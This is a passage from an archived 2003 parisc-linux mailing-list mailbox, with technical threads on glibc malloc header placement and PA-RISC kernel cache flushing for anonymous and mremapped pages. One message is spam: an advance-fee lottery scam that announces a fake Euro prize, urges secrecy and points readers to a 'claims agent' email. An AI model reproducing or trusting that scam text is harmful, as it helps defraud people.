In-reply-to: <20030925211509.GY14406@systemhalted> (carlos@baldric.uwo.ca)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19620

Hi,

> The following patch fixes the issue, but I'm not content about it's
> placement in malloc/thread-m.h. Any comments about where I might put
> this in order to make maintenance easier?

Ok, I have become convinced it is best to move thread-m.h into
sysdeps.  We should rename it, too (my suggestion: malloc-machine.h),
and make sure that one can put e.g.

#define DEFAULT_MMAP_THRESHOLD (256*1024)

in there and have it reflected in malloc.

I'll send a patch for this tomorrow.

Regards,
Wolfram.


From - Thu Nov 08 21:29:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: lottolaprimitiva@starspath.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] WINNING  NOTIFICATION:
Date: Fri, 26 Sep 2003 16:09:06 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20030926140850.91A1F483E@dsl2.external.hp.com>
Reply-To: lottolaprimitiva@starspath.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;
	charset="US-ASCII"
X-Trace: ger.gmane.org 1416622811 31590 80.91.229.3 (22 Nov 2014 02:20:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 08:08:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rrrrrr (157.Red-80-35-215.pooles.rima-tde.net [80.35.215.157])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91A1F483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 08:08:50 -0600 (MDT)
X-Priority: 3
X-Library: Indy 9.0.3-B
X-Mailer: Foxmail
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19621

   LOTTERY LA PRIMITIVA. 
        C/BUSMAN EL BUENO,137 MADRID - ESPANA.   
      TEL: +34-620-038-455   FAX:-+34-665 048 681.

 FROM: THE DESK OF THE PROMOTIONS MANAGER,
 INTERNATIONAL PROMOTIONS/PRIZE AWARD DEPARTMENT,

 REF: LP/26510460037/02 BATCH: 24/00319/IPD

DEAR SIR,

RE: AWARD NOTIFICATION FINAL NOTICE

We are pleased to inform you of the announcement, of winners of the LOTTERY PRIMITIVSWEEPSTAKES/INTERNATIONAL PROGRAMS held on 6 AUGUST,2003. Your name is attached to ticket number 004-05117963-198, with serial number 99375 drew the lucky numbers 15-23-24-26-33-47, and  consequently won the lottery in the 3rd category.You have therefore been approved for a lump sum pay out of EUROS647,828.87 Thousand in cash credited to file No:LP/26510460037/02.This is from total prize money of EUROS 80,400,000.00 shared among the twenty two international winners in this category.   All participants were selected through a computer ballot system drawn form 25,000 names from Australia,New Zealand, America,Europe,North America and  Asia as part of International Promotions Program,which is conducted annually
 . CONGRATULATIONS!!! Your fund is now insured to your name. Due to the mix up of some numbers and names, we ask that you keep this award strictly from public notice until your claim has been processed and your money remitted to your account. This is part of our security protocol to avoid double claiming or unscrupulous  acts by participants of this program. We hope with a part of your prize, you will participate in our end of year high stakes Euros1.1 billion International Lottery.  To begin your claim, please contact your claims agent,PACIFIC-SECURITAS FOREIGN OPERATION MANAGERS ATTN:MR.JUAN GARCIA.,Email; :pacificsecs@whipmail.com).

For processing and remittance of your prize money to a designated account with our bankers. Remember, all prize money must be claimed not later than 30th October ,2003. After this date, all funds will be returned as unclaimed. NOTE: In order to avoid unnecessary delays and complications, please remember to quote your reference and batch numbers in every one of your correspondences with your agent. Furthermore, should there be any change of your address,do inform your claims agent as soon as possible.   Congratulations again from all our staff and thank you for being part of our promotions programm

 Sincerely,
 JUAN . GARCIA.



From - Thu Nov 08 21:29:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 15:09:48 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20030926140948.GK24824@parcelfarce.linux.theplanet.co.uk>
References: <20030926053805.63bda07a.davem@redhat.com> <200309261311.SAA27414@redsea.india.hp.com> <20030926055652.32ddbbc2.davem@redhat.com> <20030926132901.GJ24824@parcelfarce.linux.theplanet.co.uk> <20030926062143.20d85a72.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622812 31593 80.91.229.3 (22 Nov 2014 02:20:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:12 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, santosha@india.hp.com,
	sct@redhat.com, santosh.abraham@hp.com, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 08:09:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A736C483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 08:09:49 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A2tI4-000135-SI; Fri, 26 Sep 2003 15:09:48 +0100
Content-Disposition: inline
In-Reply-To: <20030926062143.20d85a72.davem@redhat.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19622

On Fri, Sep 26, 2003 at 06:21:43AM -0700, David S. Miller wrote:
> On Fri, 26 Sep 2003 14:29:01 +0100
> Matthew Wilcox <willy@debian.org> wrote:
> 
> > On Fri, Sep 26, 2003 at 05:56:52AM -0700, David S. Miller wrote:
> > > When page->mapping is NULL, flush_dcache_page() should purge the page
> > > (by physical addres) from it's caches.  This is what sparc64 does.
> > 
> > But you can't do that on PA-RISC.  You can only purge virtual addresses.
> 
> Then for page->mapping == NULL your flush_dcache_page() is not doing
> what it is supposed to, and you can expect problems extending further
> than this raw I/O case.

Oh, come on, Dave.  You just changed the definition of
flush_dcache_page().  You can't claim the implementation isn't doing
what it's supposed to!  The definition in cachetlb talks *only* about
page cache pages.

> You have to find a way to walk all the address spaces to figure out
> where the page is mapped.

That's ridiculous.  For a start, pages can't be mapped into multiple
address spaces without being in the page cache.  Second, we already know
where it is, you just refuse to pass that information in.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 07:04:50 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20030926070450.603c5c33.davem@redhat.com>
References: <20030926053805.63bda07a.davem@redhat.com>
	<200309261311.SAA27414@redsea.india.hp.com>
	<20030926055652.32ddbbc2.davem@redhat.com>
	<20030926132901.GJ24824@parcelfarce.linux.theplanet.co.uk>
	<20030926062143.20d85a72.davem@redhat.com>
	<20030926140948.GK24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622812 31598 80.91.229.3 (22 Nov 2014 02:20:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:12 +0000 (UTC)
Cc: willy@debian.org, santosha@india.hp.com, sct@redhat.com,
	santosh.abraham@hp.com, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 08:18:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64870483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 08:18:18 -0600 (MDT)
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id HAA19908;
	Fri, 26 Sep 2003 07:04:50 -0700
In-Reply-To: <20030926140948.GK24824@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19623

On Fri, 26 Sep 2003 15:09:48 +0100
Matthew Wilcox <willy@debian.org> wrote:

> > You have to find a way to walk all the address spaces to figure out
> > where the page is mapped.
> 
> That's ridiculous.  For a start, pages can't be mapped into multiple
> address spaces without being in the page cache.

How in the world can anonymous pages work then?  Of course anonymous
pages can be in multiple address spaces without being in the page
cache.


From - Thu Nov 08 21:29:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [RFC] Where to put arch-dependant locking in malloc/thread-m.h
Date: Fri, 26 Sep 2003 10:24:08 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20030926142408.GZ14406__7802.2293899723$1416622812$gmane$org@systemhalted>
References: <20030925211509.GY14406@systemhalted> <20030926133954.12328.qmail@md.dent.med.uni-muenchen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622812 31605 80.91.229.3 (22 Nov 2014 02:20:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:12 +0000 (UTC)
Cc: libc-alpha@sources.redhat.com,
	parisc-linux@lists.parisc-linux.org
To: wmglo@dent.med.uni-muenchen.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 08:29:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5416483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 08:29:51 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A2tVw-0007Av-00; Fri, 26 Sep 2003 10:24:08 -0400
Content-Disposition: inline
In-Reply-To: <20030926133954.12328.qmail@md.dent.med.uni-muenchen.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (55% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19624

On Fri, Sep 26, 2003 at 01:39:54PM -0000, wmglo@dent.med.uni-muenchen.de wrote:
> > The following patch fixes the issue, but I'm not content about it's
> > placement in malloc/thread-m.h. Any comments about where I might put
> > this in order to make maintenance easier?
> 
> Ok, I have become convinced it is best to move thread-m.h into
> sysdeps.  We should rename it, too (my suggestion: malloc-machine.h),
> and make sure that one can put e.g.
> 
> #define DEFAULT_MMAP_THRESHOLD (256*1024)
> 
> in there and have it reflected in malloc.
> 
> I'll send a patch for this tomorrow.

Thank you. Sounds like the best solution in this case.

c.


From - Thu Nov 08 21:29:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephen C. Tweedie" <sct@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: 26 Sep 2003 15:26:36 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <1064586395.4227.154.camel@sisko.scot.redhat.com>
References: <20030926053805.63bda07a.davem@redhat.com>
	 <200309261311.SAA27414@redsea.india.hp.com>
	 <20030926055652.32ddbbc2.davem@redhat.com>
	 <20030926132901.GJ24824@parcelfarce.linux.theplanet.co.uk>
	 <20030926062143.20d85a72.davem@redhat.com>
	 <20030926140948.GK24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622813 31607 80.91.229.3 (22 Nov 2014 02:20:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:13 +0000 (UTC)
Cc: "David S. Miller" <davem@redhat.com>, santosha@india.hp.com,
	santosh.abraham@hp.com, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org, Stephen Tweedie <sct@redhat.com>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 08:30:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sisko.scot.redhat.com (82-41-9-220.cable.ubr02.edin.blueyonder.co.uk [82.41.9.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 268B4483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 08:30:47 -0600 (MDT)
Original-Received: from sisko.scot.redhat.com (localhost [127.0.0.1])
	by sisko.scot.redhat.com (8.12.8/8.12.8) with ESMTP id h8QEQb9T012461;
	Fri, 26 Sep 2003 15:26:37 +0100
Original-Received: (from sct@localhost)
	by sisko.scot.redhat.com (8.12.8/8.12.8/Submit) id h8QEQaoE012459;
	Fri, 26 Sep 2003 15:26:36 +0100
X-Authentication-Warning: sisko.scot.redhat.com: sct set sender to sct@redhat.com using -f
In-Reply-To: <20030926140948.GK24824@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19625

Hi,

On Fri, 2003-09-26 at 15:09, Matthew Wilcox wrote:

> That's ridiculous.  For a start, pages can't be mapped into multiple
> address spaces without being in the page cache.

fork().  At least we know the pages aren't dirty or writable in that
case, though.  But because of sys_mremap(), we don't know the VA for all
possible mappings, and the pages are _not_ necessarily in the page
cache.

There's only one place where anon pages get into the page cache, and
that's via swap cache.  Note that we don't have to worry about
kernel-context access to such pages: the contents are only ever seen
from user-space process context.  The fork case still means there are
multiple such referencing contexts, though.

--Stephen



From - Thu Nov 08 21:29:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 15:30:52 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20030926143052.GL24824@parcelfarce.linux.theplanet.co.uk>
References: <20030926053805.63bda07a.davem@redhat.com> <200309261311.SAA27414@redsea.india.hp.com> <20030926055652.32ddbbc2.davem@redhat.com> <20030926132901.GJ24824@parcelfarce.linux.theplanet.co.uk> <20030926062143.20d85a72.davem@redhat.com> <20030926140948.GK24824@parcelfarce.linux.theplanet.co.uk> <20030926070450.603c5c33.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622813 31611 80.91.229.3 (22 Nov 2014 02:20:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:13 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, santosha@india.hp.com,
	sct@redhat.com, santosh.abraham@hp.com, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 08:30:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B8BF483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 08:30:55 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A2tcS-0001F1-3B; Fri, 26 Sep 2003 15:30:52 +0100
Content-Disposition: inline
In-Reply-To: <20030926070450.603c5c33.davem@redhat.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19626

On Fri, Sep 26, 2003 at 07:04:50AM -0700, David S. Miller wrote:
> On Fri, 26 Sep 2003 15:09:48 +0100
> Matthew Wilcox <willy@debian.org> wrote:
> 
> > > You have to find a way to walk all the address spaces to figure out
> > > where the page is mapped.
> > 
> > That's ridiculous.  For a start, pages can't be mapped into multiple
> > address spaces without being in the page cache.
> 
> How in the world can anonymous pages work then?  Of course anonymous
> pages can be in multiple address spaces without being in the page
> cache.

How?  By fork()?  If so, that's not a problem -- the pages stay at the same
address in both processes, and flushing one will flush any inherited pages.
Otherwise you'll have to be more explicit.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: Fri, 26 Sep 2003 07:20:59 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20030926072059.0447b074.davem@redhat.com>
References: <20030926053805.63bda07a.davem@redhat.com>
	<200309261311.SAA27414@redsea.india.hp.com>
	<20030926055652.32ddbbc2.davem@redhat.com>
	<20030926132901.GJ24824@parcelfarce.linux.theplanet.co.uk>
	<20030926062143.20d85a72.davem@redhat.com>
	<20030926140948.GK24824@parcelfarce.linux.theplanet.co.uk>
	<20030926070450.603c5c33.davem@redhat.com>
	<20030926143052.GL24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622813 31615 80.91.229.3 (22 Nov 2014 02:20:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:13 +0000 (UTC)
Cc: willy@debian.org, santosha@india.hp.com, sct@redhat.com,
	santosh.abraham@hp.com, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 08:34:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F663488A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Sep 2003 08:34:26 -0600 (MDT)
Original-Received: (from davem@localhost)
	by pizda.ninka.net (8.9.3/8.9.3) id HAA20011;
	Fri, 26 Sep 2003 07:20:59 -0700
In-Reply-To: <20030926143052.GL24824@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19627

On Fri, 26 Sep 2003 15:30:52 +0100
Matthew Wilcox <willy@debian.org> wrote:

> On Fri, Sep 26, 2003 at 07:04:50AM -0700, David S. Miller wrote:
> > On Fri, 26 Sep 2003 15:09:48 +0100
> > Matthew Wilcox <willy@debian.org> wrote:
> > 
> > > > You have to find a way to walk all the address spaces to figure out
> > > > where the page is mapped.
> > > 
> > > That's ridiculous.  For a start, pages can't be mapped into multiple
> > > address spaces without being in the page cache.
> > 
> > How in the world can anonymous pages work then?  Of course anonymous
> > pages can be in multiple address spaces without being in the page
> > cache.
> 
> How?  By fork()?  If so, that's not a problem -- the pages stay at the same
> address in both processes, and flushing one will flush any inherited pages.
> Otherwise you'll have to be more explicit.

Any page can be mremap()'d to any other address.

You really do have to walk all the address spaces to sufficiently
tap the page out of the caches.  Unfortunately, this is only easy
in 2.6.x :(


From - Thu Nov 08 21:29:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephen C. Tweedie" <sct@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd:  Problems with raw interface.
Date: 26 Sep 2003 15:42:07 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <1064587327.4227.175.camel@sisko.scot.redhat.com>
References: <20030926053805.63bda07a.davem@redhat.com>
	 <200309261311.SAA27414@redsea.india.hp.com>
	 <20030926055652.32ddbbc2.davem@redhat.com>
	 <20030926132901.GJ24824@parcelfarce.linux.theplanet.co.uk>
	 <20030926062143.20d85a72.davem@redhat.com>
	 <20030926140948.GK24824@parcelfarce.linux.theplanet.co.uk>
	 <20030926070450.603c5c33.davem@redhat.com>
	 <20030926143052.GL24824@parcelfarce.linux.theplanet.co.uk>
	 <20030926072059.0447b074.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622814 31622 80.91.229.3 (22 Nov 2014 02:20:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:14 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, santosha@india.hp.com,
	santosh.abraham@hp.com, randolph@tausq.org,
	parisc-linux@lists.parisc-linux.org, Stephen Tweedie <sct@redhat.com>
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 26 08:46:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sisko.scot.redhat.com (82-41-9-220.cable.ubr02.edin.blueyonder.co.uk [82.41.9.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60363483E
